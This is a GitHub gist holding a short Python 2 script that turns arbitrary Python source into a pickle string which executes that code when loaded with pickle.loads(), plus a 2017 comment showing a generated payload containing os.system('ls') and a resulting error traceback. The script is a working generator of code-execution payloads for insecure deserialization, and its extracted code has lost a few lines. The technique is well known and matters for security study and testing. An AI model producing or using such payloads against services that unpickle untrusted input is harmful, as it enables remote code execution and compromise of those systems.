Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
compile arbitrary python source code into pickle format. will execute on unpickling
## Frederik Braun, Jun 2011
## Contact: <fb(AT)>
## Licence: WTFPL
## Python 2.7x
import cPickle as pickle
except ImportError:
import pickle
from sys import argv
def picklecompiler(sourcefile):
Usually pickle can only be used to (de)serialize objects.
This tiny snippet will allow you to transform arbitrary python source
code into a pickle string. Unpickling this string with pickle.loads()
will execute the given soruce code.
The trick is actually prettey easy: Usually eval() will only accept
expressions, thus class and function declarations does not work.
Using the work-around of code objects (returned by compile()), we can
execute real python source code :)
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
def usage():
print "usage: ./%s file\n\nfile\tfile to compile into a pickle string" % argv[0]
if len(argv) == 2:
print repr(picklecompiler(argv[1]))

This comment has been minimized.

Copy link

@bit4woo bit4woo commented Mar 22, 2017

hello,I try to use this script to pickle my code:

import os

def fib(n):
    if n <= 1:
        return n
    return fib(n-1) + fib(n-2)
print fib(10)

got the payload, and save it to poc.pickle:

(S"import os\n\ndef fib(n):\n    if n <= 1:\n        return n\n    return fib(n-1) + fib(n-2)\nprint fib(10)\nos.system('ls')"

but when I try to test the payload with the following code:

import pickle


I got error:

  File "C:\Python27\lib\", line 1382, in loads
    return Unpickler(file).load()
  File "C:\Python27\lib\", line 858, in load
  File "C:\Python27\lib\", line 1133, in load_reduce
    value = func(*args)
  File "<payload>", line 7, in <module>
  File "<payload>", line 6, in fib
NameError: global name 'fib' is not defined

my question is:
if I am not misunderstood ,this script should support to execute any python code.

but the error is about the function,maybe some issue.

hope your response,thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment